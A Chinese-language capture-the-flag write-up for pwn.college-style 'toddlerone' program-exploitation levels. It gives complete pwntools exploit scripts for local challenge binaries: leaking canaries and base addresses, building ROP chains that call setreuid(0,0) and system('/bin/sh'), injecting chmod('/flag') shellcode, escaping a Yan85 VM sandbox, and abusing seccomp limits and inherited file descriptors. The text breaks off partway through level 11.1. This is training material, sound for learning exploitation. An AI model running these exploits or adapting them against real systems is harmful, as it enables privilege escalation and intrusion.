天命人,才刚遇到”大头”呢,还有很多BOSS得打,别停下来哇!你不好好打的话,遇到虎先锋你不炸了吗?^_^ :)
Hello~,hackers!
Program Exploitation的writeup
Level 3.1
一个完整的ROP题,先泄露canary,再泄露main基地址,然后通过main基地址使用puts(puts)
泄露libc基地址。最后构造ROP链即可。exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import * context.arch = "amd64" context.log_level = 'debug'
p = process("/challenge/toddlerone-level-3-1") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(b"Payload size: ") size = "88" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n")
p.send(b'a'*82 + b"REPEAT") p.recvuntil(b"REPEAT") ret_to_main_addr = u64(p.recv(6).ljust(8,b"\x00")) print("ret_to_main_addr:", hex(ret_to_main_addr)) main_base_addr = ret_to_main_addr - 0x2220
p.recvuntil(b"Payload size: ") size = "73" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*67 + b"REPEAT") p.recvuntil(b"REPEAT") canary = u64(p.recv(7).rjust(8,b'\x00')) print("canary:", hex(canary))
p.recvuntil(b"Payload size: ") size = "136" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") challenge_addr = main_base_addr+0x1fc4 e = p.elf e.address = main_base_addr r = ROP(e) r.raw(r.rdi) r.raw(e.got['puts']) r.raw(e.plt['puts']) r.raw(challenge_addr) p.send(b'a'*72 + p64(canary) + p64(0xdeadbeef) +r.chain()) p.recvuntil(b"Goodbye!\n") puts_got_addr = u64(p.recv(6).ljust(8,b"\x00")) libc_base = puts_got_addr - libc.symbols['puts'] print("libc_base:", hex(libc_base))
libc.address = libc_base sys_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh')) setreuid_addr = libc.symbols['setreuid'] print("setreuid_addr", hex(setreuid_addr)) print("binsh_addr", hex(binsh_addr)) rop = ROP(libc) ruid = 0 euid = 0
rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)
p.recvuntil(b"Payload size: ") size = "152" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*72 + p64(canary) + p64(0xdeadbeef) +rop.chain())
p.interactive()
|
level 4.1
在payload中增加一步,即padding的最后8个字节为指定magic number
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import * context.arch = "amd64"
p = process("/challenge/toddlerone-level-4-1") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(b"Payload size: ") size = "104" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n")
p.send(b'a'*98 + b"REPEAT") p.recvuntil(b"REPEAT") ret_to_main_addr = u64(p.recv(6).ljust(8,b"\x00")) print("ret_to_main_addr:", hex(ret_to_main_addr)) main_base_addr = ret_to_main_addr - 0x1d43
p.recvuntil(b"Payload size: ") size = "89" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*83 + b"REPEAT") p.recvuntil(b"REPEAT") canary = u64(p.recv(7).rjust(8,b'\x00')) print("canary:", hex(canary))
condition = 0xD355EFB4BF7A0170 p.recvuntil(b"Payload size: ") size = "136" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") challenge_addr = main_base_addr+0x1ad5 e = p.elf e.address = main_base_addr r = ROP(e) r.raw(r.rdi) r.raw(e.got['puts']) r.raw(e.plt['puts']) r.raw(challenge_addr)
pause() p.send(b"a"*80 + p64(condition) + p64(canary) + p64(0xdeadbeef) + r.chain()) p.recvuntil(b"exit() condition avoided! Continuing execution.\n") puts_got_addr = u64(p.recv(6).ljust(8,b"\x00")) libc_base = puts_got_addr - libc.symbols['puts'] print("libc_base:", hex(libc_base))
libc.address = libc_base sys_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh')) setreuid_addr = libc.symbols['setreuid'] print("setreuid_addr", hex(setreuid_addr)) print("binsh_addr", hex(binsh_addr)) rop = ROP(libc) ruid = 0 euid = 0
rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)
p.recvuntil(b"Payload size: ") size = "168" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*80 + p64(condition) + p64(canary) + p64(0xdeadbeef) +rop.chain())
p.interactive()
|
level 5.0
Canary
的栈帧位置不一定是rbp-8
,可能因编译环境、函数复杂度或优化选项而变化。实际位置需通过反汇编或调试确认。
这里我们发现canary在rbp-0x18
处,同时condition在rbp-0x28
处。也就是说,rbp距离canary中间间隔0x10
字节,canary和condition中间间隔0x8
字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * context.arch = "amd64"
p = process("/challenge/toddlerone-level-5-0") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(b"Payload size: ") size = "104" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*98 + b"REPEAT") p.recvuntil(b"REPEAT") ret_to_main_addr = u64(p.recv(6).ljust(8,b"\x00")) print("ret_to_main_addr:", hex(ret_to_main_addr)) main_base_addr = ret_to_main_addr - 0x22b6
p.recvuntil(b"Payload size: ") size = "73" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n")
p.send(b'a'*67 + b"REPEAT") p.recvuntil(b"REPEAT") canary = u64(p.recv(7).rjust(8,b'\x00')) print("canary:", hex(canary))
condition = 0x725271A4BD26531A p.recvuntil(b"Payload size: ") size = "136" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") challenge_addr = main_base_addr+0x1bad e = p.elf e.address = main_base_addr r = ROP(e) r.raw(r.rdi) r.raw(e.got['puts']) r.raw(e.plt['puts']) r.raw(challenge_addr)
pause() p.send(b'a'*56 + p64(condition) + b'b'*8 + p64(canary) + b'c'*0x10 + p64(0xdeadbeef) + r.chain()) p.recvuntil(b"Goodbye!\n") puts_got_addr = u64(p.recv(6).ljust(8,b"\x00")) libc_base = puts_got_addr - libc.symbols['puts'] print("libc_base:", hex(libc_base))
libc.address = libc_base sys_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh')) setreuid_addr = libc.symbols['setreuid'] print("setreuid_addr", hex(setreuid_addr)) print("binsh_addr", hex(binsh_addr)) rop = ROP(libc) ruid = 0 euid = 0
rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)
p.recvuntil(b"Payload size: ") size = "168" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*56 + p64(condition) + b'b'*8 + p64(canary) + b'c'*0x10 + p64(0xdeadbeef) + rop.chain()) p.interactive()
|
level 5.1
canary
和5.0不一样,回到了rbp-8
处。其次,condition在rbp-0x18
处。exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * context.arch = "amd64"
p = process("/challenge/toddlerone-level-5-1") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(b"Payload size: ") size = "72" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*66 + b"REPEAT") p.recvuntil(b"REPEAT") ret_to_main_addr = u64(p.recv(6).ljust(8,b"\x00")) print("ret_to_main_addr:", hex(ret_to_main_addr)) main_base_addr = ret_to_main_addr - 0x22a7
p.recvuntil(b"Payload size: ") size = "57" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n")
p.send(b'a'*51 + b"REPEAT") p.recvuntil(b"REPEAT") canary = u64(p.recv(7).rjust(8,b'\x00')) print("canary:", hex(canary))
condition = 0x7902619BB2B948FA p.recvuntil(b"Payload size: ") size = "104" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") challenge_addr = main_base_addr+0x1f68 e = p.elf e.address = main_base_addr r = ROP(e) r.raw(r.rdi) r.raw(e.got['puts']) r.raw(e.plt['puts']) r.raw(challenge_addr)
pause() p.send(b'a'*40 + p64(condition) + b'b'*8 + p64(canary) + p64(0xdeadbeef) + r.chain()) p.recvuntil(b"Goodbye!\n") puts_got_addr = u64(p.recv(6).ljust(8,b"\x00")) libc_base = puts_got_addr - libc.symbols['puts'] print("libc_base:", hex(libc_base))
libc.address = libc_base sys_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh')) setreuid_addr = libc.symbols['setreuid'] print("setreuid_addr", hex(setreuid_addr)) print("binsh_addr", hex(binsh_addr)) rop = ROP(libc) ruid = 0 euid = 0
rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)
p.recvuntil(b"Payload size: ") size = "136" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*40 + p64(condition) + b'b'*8 + p64(canary) + p64(0xdeadbeef) + rop.chain()) p.interactive()
|
level 6.1
仔细看看这个seccomp( Secure Computing Mode)。它是Linux内核提供的一种安全机制,用于限制进程可以执行的系统调用,从而减少潜在的攻击面,提高系统安全性。它最初在Linux 2.6.12引入,并在后续版本中增强了灵活性,使其成为现代沙箱(sanbox)和容器安全的重要组成部分。
Seccomp的核心思想是限制进程可以使用的系统调用。正常情况下,Linux进程可以调用任何可用的系统调用(如execve
、open
、socket
等),但如果程序存在漏洞(如缓冲区溢出),攻击者可能利用这些系统调用执行恶意操作。
Seccomp的两种模式
- Strict Mode(严格模式)
- 仅允许4个基本系统调用:
read
、write
、_exit
、sigreturn
- 任何其他系统调用都会导致进程被
SIGKILL
终止
- 由于过于严格,实际应用较少
- Filter Mode(过滤模式,Seccomp-BPF)
- 允许开发者自定义允许或拒绝的系统调用列表
- 使用**BPF(Berkeley Packet Filter)**规则进行过滤
使用示例
使用libseccomp
库(或者直接调用prctl
/seccomp
系统调用)
1 2 3 4
| scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_load(ctx);
|
SCMP_ACT_KILL
:默认行为(禁止未明确允许的syscall)
SCMP_ACT_ALLOW
:允许特定syscall
查看ida逆出来的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| v17 = seccomp_init(0LL); for ( i = 0; i <= 1; ++i ) { v6 = v16[i]; v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6); printf("Allowing syscall: %s (number %i)\n", v7, v6); if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, (unsigned int)v16[i], 0LL) ) __assert_fail( "seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0", "/challenge/toddlerone-level-6-0.c", 0x97u, "challenge"); } if ( (unsigned int)seccomp_load(v17) ) __assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-6-0.c", 0x9Au, "challenge"); puts("Goodbye!"); return 0LL;
|
拆解一下:
1
| v17 = seccomp_init(0LL);
|
seccomp_init(0)
创建一个seccomp过滤器上下文,默认行为是SCMP_ACT_KILL
1 2 3 4 5 6
| for (i = 0; i <= 1; ++i) { v6 = v16[i]; v7 = seccomp_syscall_resolve_num_arch(0LL, v6); printf("Allowing syscall: %s (number %i)\n", v7, v6); seccomp_rule_add(v17, SCMP_ACT_ALLOW, v16[i], 0); }
|
循环遍历数组v16
(包含两个系统调用编号)。seccmp_rule_add(ctx, SCMP_ACT_ALLOW, syscall_num, 0)
允许指定的系统调用。
一旦加载,进程只能允许允许的系统调用,其他调用会被终止。
请注意,Seccomp规则设计为单向严格化,一旦加载,无法放宽或覆盖。在本题中体现在,无法重复调用seccomp_load
来修改或增加规则。那么这题就只能通过第一次使用的两个系统调用,其中还有一个系统调用必须为write
,因为这样才能泄露基地址构造ROP链。那么获取flag只能通过一个系统调用来进行了。
但是,如果使用puts(puts)
来泄露基地址的话,就需要覆盖返回地址来获取libc地址,但是这种情况下只能将两个可用的系统调用分别设置为write
和read
,一个用来泄露基址,一个用来下次read接收buf输入。这种情况下是无法get shell的。换个思路。
检查一下sec吧:
1 2 3 4 5 6 7 8 9 10 11
| hacker@practice~program-exploitation~level6-1:/challenge$ checksec ./toddlerone-level-6-1 [*] '/challenge/toddlerone-level-6-1' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled
|
这里栈上可执行,那么可以泄露栈的地址,在buf中写入shellcode,然后把buf作为返回地址,执行shellcode就行了。那么这里使用chmod系统调用,这样就只需要用到一个系统调用号,我们再通过seccomp_rule_add
把chmod的系统调用号放进去即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * context.arch = "amd64"
p = process("/challenge/toddlerone-level-6-1")
p.recvuntil(b"Payload size: ") size = "144" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*138 + b"REPEAT") p.recvuntil(b"REPEAT") rbp_addr = u64(p.recv(6).ljust(8,b"\x00")) print("rbp_addr:", hex(rbp_addr))
p.recvuntil(b"Payload size: ") size = "137" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(b'a'*131 + b"REPEAT") p.recvuntil(b"REPEAT") canary = u64(p.recv(7).rjust(8,b'\x00')) print("canary:", hex(canary))
shellcode = shellcraft.pushstr('/flag') shellcode += shellcraft.syscall('SYS_chmod', 'rsp', 0o777) binary_shellcode = asm(shellcode)
buf_addr = rbp_addr - 0x12b0 p.recvuntil(b"Payload size: ") size = "160" p.sendline(size.encode()) p.recvuntil(b"bytes)!\n") p.send(binary_shellcode + b'a'*89 + p32(1) + p32(90) + p64(canary) + p64(0xdeadbeef) + p64(buf_addr))
p.interactive()
|
level 7.1
得用”Yan85”来进行操作。No PIE, no canary and Stack Executable!
好的,详细分析一下”Yan85”,首先是interpreter_loop
,在main
中调用该函数,并以buf
作为参数:interpreter_loop(buf);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| __int64 __fastcall interpreter_loop(__int64 a1) { unsigned __int8 v1; __int64 result;
while ( 1 ) { result = *(unsigned __int8 *)(a1 + 1029); if ( (_BYTE)result == 0xFF ) break; v1 = *(_BYTE *)(a1 + 1029); *(_BYTE *)(a1 + 1029) = v1 + 1; interpret_instruction( a1, *(unsigned __int16 *)(a1 + 3LL * v1) | ((unsigned __int64)*(unsigned __int8 *)(a1 + 3LL * v1 + 2) << 16)); } return result; }
|
传入的buf是char buf[1024]
,因此在interpreter_loop
中的a1
是buf的起始地址。因此在进入loop后,result
是buf[1029]
的值。v1
也是buf[1029]
的值。紧接着buf[1029]++
。那么很显然,buf[1029]
是控制循环次数的,最大次数为0xFF
。buf[1029]
也是模拟指针寄存器rip,也就是这里的i
。
随后调用interpret_instruction
函数,对于传入的参数,第一个参数为buf的起始地址,第二个参数为int_16* buf[3*v1] | ((int_64* buf[3*v1+2])<<16)
。
那么,代入数据模拟一下第二个参数到底要做啥:第一次循环,v1为0。那么第二个参数为:(16)buf[0] | (64)((8)buf[2]<<16)
也就是说,传入的第二个参数为一个8字节的整数,其中低2字节为buf[0]和buf[1],高6字节为buf[2]。
所以每次进入interpret_instruction
时,都是三个Byte buf[]的拼接,依次遍历整个buf。进入到interpret_instruction
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| int __fastcall interpret_instruction(unsigned __int8 *a1, int a2) { int result;
printf( "[V] a:%#hhx b:%#hhx c:%#hhx d:%#hhx s:%#hhx i:%#hhx f:%#hhx\n", a1[1024], a1[1025], a1[1026], a1[1027], a1[1028], a1[1029], a1[1030]); printf("[I] op:%#hhx arg1:%#hhx arg2:%#hhx\n", BYTE1(a2), BYTE2(a2), (unsigned __int8)a2); if ( (a2 & 0x4000) != 0 ) interpret_imm(a1, a2); if ( (a2 & 0x800) != 0 ) interpret_add(a1, a2); if ( (a2 & 0x200) != 0 ) interpret_stk(a1, a2); if ( (a2 & 0x400) != 0 ) interpret_stm(a1, a2); if ( (a2 & 0x8000) != 0 ) interpret_ldm(a1, a2); if ( (a2 & 0x100) != 0 ) interpret_cmp(a1, a2); if ( (a2 & 0x1000) != 0 ) interpret_jmp(a1, a2); result = BYTE1(a2) & 0x20; if ( (a2 & 0x2000) != 0 ) return interpret_sys(a1, a2); return result; }
|
这里模拟寄存器,每个寄存器存储1字节的数据。前面的Reverse
模块已经用过这些指令了。那么对于a2来说,buf[x+1]
代表的是opcode
,低的2字节代表的是两个参数且buf[x+2]
是第一个参数,buf[x+0]
是第二个参数。
也就是说,一次取buf的三个字节分别为buf[0],buf[1],buf[2]情况下,opcode是buf[1],arg1是buf[0],arg2是buf[2]。
依次拆解指令,第一个是interpret_imm(a1,a2)
:
1 2 3 4 5 6 7 8
| _BYTE *__fastcall interpret_imm(_BYTE *a1, int a2) { const char *v2;
v2 = (const char *)describe_register(BYTE2(a2)); printf("[s] IMM %s = %#hhx\n", v2, (unsigned __int8)a2); return write_register(a1, SBYTE2(a2), a2); }
|
这里buf[x+1]
对应的是寄存器,也就是buf[1024] ~ buf[1030]
,buf[x+0]
对应的是一个字节的数据。这里不展开describe_register
和write_register
了,这两个API会统一关于buf[x+1]
和模拟寄存器的对应关系。
因此,imm所对应的操作就是将buf[x+0]
的值存入buf[x+1]
对应的寄存器中。而buf[x+2]
就表示opcode,即执行imm指令。
现在,我们需要用这些指令写一个shellcode以获取flag。
有一个细节是sys_open
被禁用了,也就是不希望我们直接通过它提供的指令将flag write
出来。所以,我们需要用这些指令来劫持控制流。先简单把所有指令的作用以及用法记录一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
|
这里可以发现buf划分出来的memory区在buf[768]开始的区域。 那么我们通过修改reg_b
的值使其起始地址在buf[255+768]=> buf[1023]
,也就是buf的最后一个元素。然后再通过reg_c
控制read读取的字节数,使其从Yan85
设定的内存区域逃逸出来。
思路是:首先通过read(0, &buf, 0x27)
读取shellcode到Yan85
的memory区,再通过read(0,&buf+1023, 0x21)
覆盖返回地址为&buf[768]
以执行shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h'])
def pack(a1, opcode, a2): return p8(a2) + p16((a1<<8) + opcode)
p = process("/challenge/toddlerone-level-7-1")
reg = {'a': 64, 'b': 4, 'c': 32, 'd': 16, 's': 2, 'i': 1, 'f': 8} opcode = {'imm': 0x80, 'add': 0x40, 'stk': 0x10, 'stm': 0x20, 'ldm': 0x08, 'cmp': 0x01, 'jmp': 0x02, 'sys': 0x04} sys_opcode = {'open': 0x10, 'read_code': 0x04, 'read_memory': 0x02, 'write': 0x01, 'sleep': 0x08, 'exit': 0x20}
payload_yan = pack(opcode['imm'], 0x00, reg['a']) payload_yan += pack(opcode['imm'], 0x00, reg['b']) payload_yan += pack(opcode['imm'], 0x27, reg['c']) payload_yan += pack(opcode['sys'], reg['a'], sys_opcode['read_memory'])
payload_yan += pack(opcode['imm'], 0x00, reg['a']) payload_yan += pack(opcode['imm'], 0xFF, reg['b']) payload_yan += pack(opcode['imm'], 0x21, reg['c']) payload_yan += pack(opcode['sys'], reg['a'], sys_opcode['read_memory'])
payload_yan += pack(opcode['imm'], 0x00, reg['a']) payload_yan += pack(opcode['sys'], reg['a'], sys_opcode['exit']) pause() p.send(payload_yan)
shellcode = shellcraft.chmod("/flag",0o777) binary_shellcode = asm(shellcode)
p.send(binary_shellcode + b"a"*17 + p64(0xdeadbeef) + p64(0x7fffffffddb0))
p.interactive()
|
level 8.1
这题开启了ASLR
和canary
,因此需要泄露Canary
和stack_addr
。
canary好泄露,它在rbp-0x8
的位置处。直接通过write
泄露出来。但是stack_addr
就需要通过gdb查看在调用write
时当时stack的状态,然后找到栈上存储的栈地址。计算一下偏移地址即可得到shellcode的栈地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
def pack(a1, a2, a3): return p8(a3) + p16((a1<<8) + a2)
p = process("/challenge/toddlerone-level-8-1")
reg = {'a': 2, 'b': 8, 'c': 1, 'd': 4, 's': 64, 'i': 16, 'f': 32} opcode = {'imm': 0x04, 'add': 0x01, 'stk': 0x10, 'stm': 0x80, 'ldm': 0x02, 'cmp': 0x20, 'jmp': 0x08, 'sys': 0x40} sys_opcode = {'open': 0x4, 'read_code': 0x02, 'read_memory': 0x20, 'write': 0x10, 'sleep': 0x01, 'exit': 0x08}
payload_yan = pack(0x01, opcode["imm"], reg['a']) payload_yan += pack(0xff, opcode["imm"], reg['b']) payload_yan += pack(0x31, opcode["imm"], reg['c']) payload_yan += pack(reg['a'], opcode["sys"], sys_opcode['write'])
payload_yan += pack(0x00, opcode['imm'], reg['a']) payload_yan += pack(0x00, opcode['imm'], reg['b']) payload_yan += pack(0x27, opcode['imm'], reg['c']) payload_yan += pack(reg['a'], opcode['sys'], sys_opcode['read_memory'])
payload_yan += pack(0x00, opcode['imm'], reg['a']) payload_yan += pack(0xFF, opcode['imm'], reg['b']) payload_yan += pack(0x21, opcode['imm'], reg['c']) payload_yan += pack(reg['a'], opcode['sys'], sys_opcode['read_memory']) payload_yan += pack(0x00, opcode['imm'], reg['a']) payload_yan += pack(reg['a'], opcode['sys'], sys_opcode['exit'])
p.send(payload_yan)
p.recvuntil(b"Please input your yancode: ") p.recv(9) canary = u64(p.recv(8)) p.recv(24) stack_addr = u64(p.recv(8)) shellcode_offset = 0x208 print("canary:", hex(canary)) print("stack_addr:", hex(stack_addr)) shellcode_addr = stack_addr - shellcode_offset
shellcode = shellcraft.chmod("/flag",0o777) binary_shellcode = asm(shellcode)
p.send(binary_shellcode + b"a"*9 + p64(canary) + p64(0xdeadbeef) + p64(shellcode_addr)) p.interactive()
|
level 9.1
限制Yan85
代码中sys
操作,只能使用一次sys
操作。也就是说只能使用Yan85
进行一次系统调用。这里发现从&buf[256]
开始接收输入。也就是说memory
区和yancode
区调换了位置。所以它相应的read
和write
等系统调用也会作相应修改。
1
| read(0, &v5[256], 0x300uLL);
|
看一下限制:
1 2 3 4 5 6 7
| for ( i = 0; i <= 255; ++i ) { if ( (v5[3 * i + 256] & 0x20) != 0 ) ++v3; } if ( v3 > 1 ) __assert_fail("num_syscalls <= 1", "/challenge/toddlerone-level-9-0.c", 0x1BAu, "main");
|
在yancode
区检查opcode
,记录sys
操作的次数。并且这个检查是在第一次输入后立即进行且没有二次检查的。有没有什么办法能够输入完buf后,又通过系统调用覆盖掉buf呢?
思路:通过一次read_memory
调用从stdin
获取输入,这个输入是可以溢出的,溢出到yancode
区。那么就可以覆盖第一次输入的buf
。
为了让shellcode好写(因为需要用yancode
构造shellcode,因此通过软链接(ln -s
)将flag
缩短为f
)对/flag
进行重命名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
def pack(a1, a2, a3): return p8(a3) + p16((a1<<8) + a2)
p = process("/challenge/toddlerone-level-9-1")
reg = {'a': 32, 'b': 1, 'c': 16, 'd': 4, 's': 2, 'i': 64, 'f': 8} opcode = {'imm': 0x04, 'add': 0x08, 'stk': 0x80, 'stm': 0x02, 'ldm': 0x40, 'cmp': 0x20, 'jmp': 0x01, 'sys': 0x10} sys_opcode = {'open': 0x08, 'read_code': 0x04, 'read_memory': 0x01, 'write': 0x20, 'sleep': 0x02, 'exit': 0x10}
shellcode = pack(0x66, reg['c'], opcode['imm']) shellcode += pack(reg['c'], reg['d'], opcode['stm']) shellcode += pack(0x00, reg['b'], opcode['imm']) shellcode += pack(0x00, reg['a'], opcode['imm']) shellcode += pack(reg['a'], sys_opcode['open'], opcode['sys'])
shellcode += pack(reg['c'],sys_opcode['read_memory'],opcode['sys'])
shellcode += pack(0x01, reg['a'], opcode['imm']) shellcode += pack(reg['a'],sys_opcode['write'], opcode['sys'])
shellcode += pack(0x00, reg['a'], opcode['imm']) shellcode += pack(reg['a'],sys_opcode['exit'], opcode['sys'])
yancode = pack(0x00, reg['a'], opcode['imm']) yancode += pack(0xff, reg['b'], opcode['imm']) yancode += pack(43, reg['c'], opcode['imm']) yancode += pack(reg['a'], sys_opcode['read_memory'], opcode['sys']) p.send(yancode)
p.send(b'a'+yancode+shellcode) p.interactive()
|
level 10.1
yancode
区和memory
区恢复正常了,也就是现在能够溢出到返回地址。但是同样限制一个sys
操作。(脑子轴了,就一直觉得简单,但是想好久)。一个sys可以同时执行open
,read_memory
和write
。因为它们在interpret_sys
中是按序出现的,且一个字节可以同时满足这三个系统调用的条件。那么这里的核心就是三者的返回值的关系了。
首先open
会返回fd
。可以控制返回值存储的把它放在reg_a
中,然后调用read_memory
的时候会以reg_a
为fd
读取,读到yan_memory
中后,返回值依然存储于reg_a
中,这个返回值是flag
的长度+1
,因为结尾有\n
。所以,在write
的时候,fd
是flag的长度,而不是1
使其打印于终端。因此,我们需要绑定某个文件在固定的fd上,使得write
输出到指定的文件中。
由于process()
的特性(加上参数close_fds=False
,rob课上讲过了),以及exec 57<>a
能够绑定文件a
的fd为57
。
pwntools的process()
实际上是对python的subprocess
的封装,也就是fork一个子进程执行目标程序。默认情况下,子进程的fd空间会继承父进程的fd空间,但由于close_fds
的默认值为True
,因此使用process
时,子进程不会继承fd空间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import * context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
def pack(a1, a2, a3): return p8(a3) + p16((a1<<8) + a2)
p = process("/challenge/toddlerone-level-10-1", close_fds=False)
reg = {'a': 64, 'b': 32, 'c': 1, 'd': 8, 's': 2, 'i': 4, 'f': 16} opcode = {'imm': 0x01, 'add': 0x40, 'stk': 0x20, 'stm': 0x10, 'ldm': 0x02, 'cmp': 0x08, 'jmp': 0x04, 'sys': 0x80} sys_opcode = {'open': 0x04, 'read_code': 0x10, 'read_memory': 0x02, 'write': 0x01, 'sleep': 0x20, 'exit': 0x08}
yancode = pack(reg['c'], 0x66, opcode['imm']) yancode += pack(reg['d'],reg['c'], opcode['stm']) yancode += pack(reg['b'], 0x00, opcode['imm']) yancode += pack(reg['a'], 0x00, opcode['imm']) yancode += pack(sys_opcode['open'] | sys_opcode['read_memory'] | sys_opcode['write'], reg['a'], opcode['sys'])
p.send(yancode)
p.interactive()
|
level11.1
yan85
变成了yan85_64
,整体的yancode
发生了变化。之前的类似一个三字节解释器,分割输入并以三字节为基准解释行为。
1
| addr = mmap((void *)0x1337000, 0x1000uLL, 7, 34, 0, 0LL);
|
在地址0x1337000
处请求分配一页(4KB)匿名、权限为rwx的内存,且该映射是私有的(不与任何文件关联,且仅当前进程可见)。addr
保存着映射内存区域的起始地址。
同理,有个Loop
前的启动函数emit_program(s)
,在进入指令解析前,有一个一个初始化:
1 2 3 4 5 6 7 8
| v11 = *(_QWORD *)(a1 + 0x2000); v1 = helper_mov_imm(a1, v11, 64LL, 0LL); v2 = helper_mov_imm(a1, v1, 2LL, 0LL); v3 = helper_mov_imm(a1, v2, 4LL, 0LL); v4 = helper_mov_imm(a1, v3, 32LL, 0LL); v5 = helper_mov_imm(a1, v4, 8LL, 0LL); v6 = helper_mov_imm(a1, v5, 16LL, 0LL); v12 = (_BYTE *)helper_mov_imm(a1, v6, 1LL, 0LL);
|
看看helper_mov_imm()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
